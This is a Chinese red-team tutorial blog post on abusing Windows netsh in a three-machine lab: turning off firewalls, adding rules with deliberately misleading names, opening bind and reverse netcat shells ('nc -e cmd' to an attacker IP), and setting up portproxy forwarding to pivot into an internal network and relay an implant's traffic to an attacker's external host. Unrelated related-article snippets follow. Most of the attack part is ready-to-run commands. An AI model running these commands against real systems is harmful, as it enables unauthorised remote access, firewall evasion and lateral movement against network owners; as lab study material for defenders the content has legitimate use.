使用netsh来进行端口转发
目录
0x00 简介
0x01 2003命令介绍
0x02 2003以后命令介绍(以08为例)
0x03 实际利用案例
0x04 流量转发
0x00 简介
netsh(Network Shell) 是一个windows系统本身提供的功能强大的网络配置命令行工具(来源于百度百科)。
注:
以下所有例子以三台机器为例来进行演示了
假设03和08为边界机器,Ubuntu为内网机器
win2003 192.168.191.128
win2008 192.168.191.131
Ubuntu 192.168.191.130
PS:为了帮助大家理解,03和08的例子采用了两种查看命令执行结果的方式
0x01 2003命令介绍
基本介绍
netsh firewall show state 查看系统防火墙状态

netsh firewall set opmode disable 关闭防火墙

netsh firewall set opmode enable 开启防火墙

设置进出站规则
根据端口
netsh firewall add portopening 协议 端口 名字
协议:TCP/UDP/ALL
端口:1-65535
名字:随意,最好使用一些有迷惑性的
netsh firewall add portopening tcp 333 test 添加规则

netsh firewall delete portopening tcp 333 删除规则

根据进程
netsh firewall add allowedprogram 位置名字 允许与否
netsh firewall add allowedprogram c://nc.exe test enable 添加规则


netsh firewall delete allowedprogram c:\nc.exe 删除规则

部分单词也不需要全部记住,知道开头的内容,后面靠帮助信息进行操作就可以了

0x02 2003以后命令介绍(以08为例)
netsh advfirewall show allprofiles 查看所有类型的防火墙状态

netsh advfirewall set allprofiles state off 关闭防火墙

netsh advfirewall set allprofiles state on 开启防火墙

netsh advfirewall reset 重置防火墙规则(重置到刚装好系统时的状态)

设置进出站规则
根据端口
入站规则
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=333 添加规则

netsh advfirewall firewall delete rule name=test dir=in protocol=tcp localport=333 删除规则

出站规则
netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=333 添加规则

netsh advfirewall firewall delete rule name=test dir=out protocol=tcp localport=333 删除规则

根据进程
入站规则
netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\nc.exe 添加规则

netsh advfirewall firewall delete rule name=test dir=in program=c:\nc.exe 删除规则

出站规则
netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\nc.exe 添加规则

netsh advfirewall firewall delete rule name=test dir=out program=c:\nc.exe 删除规则

0x03 实际利用案例(以2008为例)
正向连接shell
netsh advfirewall firewall add rule name=ncdir=in action=allow protocol=tcp localport=333

nc.exe -lvp 333 -e cmd

回到攻击机上
nc.exe -nv 192.168.191.131 333

虽然暂时不明白中间的报错是因为什么,但是是可以成功弹回shell的

最后一定要记得删除所添加的规则
netsh advfirewall firewall delete rule name=nc protocol=tcp localport=333

反向连接shell
首先在本地进行监听
nc.exe -lvp 333

然后到08的机子上,添加规则
netsh advfirewall firewall add rule name=nc dir=out action=allow protocol=tcp localport=333

然后执行
nc.exe -nv 10.1.135.96 333 -e cmd
注:这里10.1.135.96是我本地的机子

之后就能弹回来shell

最后不要忘了顺手删掉添加的规则

通过添加进程的,跟这个同理
0x04 流量转发
地址类型设置如下

将来自333端口的流量全部转发到192.168.191.130的22端口
netsh interface portproxy add v4tov4 listenport=333 connectaddress=192.168.191.130 connectport=22

netsh interface portproxy show all 查看所有转发规则

添加完成之后一定要查一下端口有没有起来

netsh interface portproxy delete v4tov4 listenport=333 删除转发规则

使用端口转发来连接内网机器
这里以08为例
设置进站规则
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=333

设置流量转发
将所有来到333端口的流量全部转发到192.168.191.130的22端口上
netsh interface portproxy add v4tov4 listenport=333 connectaddress=192.168.191.130 connectport=22

查看是否添加成功,端口有没有起来

然后连接192.168.191.131的333端口,就是连接内网中192.168.191.130的22端口


在结束之后,一定要顺手把添加的规则都删除掉
netsh advfirewall firewall delete rule name=test dir=in protocol=tcp localport=333

netsh interface portproxy delete v4tov4 listenport=333

如果内网机子不能正常连外网的话,也可以在边界机器上使用流量转发来进行连接,在内网机器上种马,使其连接边界机器的指定端口,然后在边界机器将所有来自本地指定端口的流量,全部都转发到攻击者的外网主机上即可
即:
netsh interface portproxy add v4tov4 listenport=本地端口 listenaddress=本地IP connectaddress=攻击者外网IP connectport=攻击者外网端口
文章首发公众号:无心的梦呓(wuxinmengyi)
这是一个记录红队学习、信安笔记,个人成长的公众号。
扫码关注即可

使用netsh来进行端口转发的更多相关文章
- 如何在Windows中使用netsh命令进行端口转发
自Windows XP开始,Windows中就内置网络端口转发的功能.任何传入到本地端口的TCP连接(IPv4或IPv6)都可以被重定向到另一个本地端口,或远程计算机上的端口,并且系统不需要有一个专门 ...
- 【Windows】netsh动态配置端口转发
文章转载自傲风 使用多个虚拟机,将开发环境和工作沟通环境分开(即时通,办公系统都只能在windows下使用-),将开发环境的服务提供给外部访问时,需要在主机上通过代理配置数据转发. VirtualBo ...
- 在windows上用netsh动态配置端口转发
使用多个虚拟机,将开发环境和工作沟通环境分开(即时通,办公系统都只能在windows下使用…),将开发环境的服务提供给外部访问时,需要在主机上通过代理配置数据转发. VirtualBox提供了端口转发 ...
- 巧用netsh命令实现端口转发(端口映射)不求人
好处:即时生效,随意修改删除,不影响其他ip映射 记事本保存为bat格式批量添加后,并查看映射: netsh interface portproxy add v4tov4 listenport=701 ...
- [转帖]Windows 内置端口转发功能
如何在Windows中使用netsh命令进行端口转发 https://www.freebuf.com/articles/system/176889.html 早上自己做了下实验,的确可以.linux下 ...
- lcx端口转发
目录 0x01 正向端口转发 0x02 反向端口转发 0x03 msf正向shell 0x04 msf反向shell 注: 边界机器 win08 192.168.222.175 内网机器 win7 1 ...
- netsh端口转发
使用多个虚拟机,将开发环境和工作沟通环境分开(即时通,办公系统都只能在windows下使用…),将开发环境的服务提供给外部访问时,需要在主机上通过代理配置数据转发. VirtualBox提供了端口 ...
- windows命令行下用netsh实现端口转发(端口映射)
微软Windows的netsh是一个命令行脚本实用工具.使用netsh工具 ,可以查看或更改本地计算机或远程计算机的网络配置.不仅可以在本地计算机上运行这些命令,而且可以在网络上的远程计算机上运行. ...
- Windows自带的端口转发工具netsh使用方法_DOS/BAT
Windows自带的端口转发工具netsh使用方法_DOS/BAT 作者:用户 来源:互联网 时间:2017-02-22 17:24:30 netsh 端口转发 摘要: 下面的代码在windows ...
随机推荐
- Spring学习之旅(一)--初始Spring
之前从博客.视频断断续续的学到了 Spring 的相关知识,但是都是一个个碎片化的知识.刚好最近在读 <Sprign实战(第四版)>,所以借此机会重新整理下Spring 系列的内容. Sp ...
- JDBC、Tomcat为什么要破坏双亲委派模型?
问题一:双亲委派模型是什么 如果一个类加载器收到了加载某个类的请求,则该类加载器并不会去加载该类,而是把这个请求委派给父类加载器,每一个层次的类加载器都是如此,因此所有的类加载请求最终都会传送到顶端的 ...
- windows系统查询指定端口运行的进程并关闭
假如占用的端口是80: 先打开cmd命令窗口 再查找80端口占用的进程:netstat -aon|findstr "80" ,找到对应的程序的PID号: 根据PID号找到 ...
- Java NIO系列之[说在前面的话]
在开始这个系列文章之前,先聊一些题外话,说说我为什么要写Java NIO这个系列技术文章(不看完会错失一个亿的),因为Java NIO并不像JVM,中间件源码那么有吸引力,但这个技术点是java的基础 ...
- win8,右键添加notepad++
1.下载并安装notepad++ 2.创建txt文件test1.txt,内容如下: Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\*\ ...
- P2050 [NOI2012]美食节 动态连边优化费用流
题意 类似的一道排队等候,算最小总等待时间的题目. 思路 但是这道题的边数很多,直接跑会tle,可以动态加边,就是先连上倒数第一次操作的边,跑一遍费用流,然后对使用了倒数第一条边的点,连上相应的倒数第 ...
- HDU-5977 - Garden of Eden 点分治
HDU - 5977 题意: 给定一颗树,问树上有多少节点对,节点对间包括了所有K种苹果. 思路: 点分治,对于每个节点记录从根节点到这个节点包含的所有情况,类似状压,因为K<=10.然后处理每 ...
- LuoGu-P1122 最大子树和+树形dp入门
传送门 题意:在一个树上,每个加点都有一个值,求最大的子树和. 思路:据说是树形dp入门. 用dfs,跑一边,回溯的时候求和,若和为负数,则减掉,下次不记录这个节点. #include <ios ...
- [NOI2001]炮兵阵地 题解
题意 我们先来了解一下基本的位运算 于( \(\bigwedge\) ),或 (\(\bigvee\) ) 异或(\(\bigoplus\)) 在下面我们用(&)代表于,(|)代表或 一道状压 ...
- open的正确使用
open一个对象的时候,不确定他是图片还是文本啊 #----------------------- import io with open('photo.jpg', 'rb') as inf: ...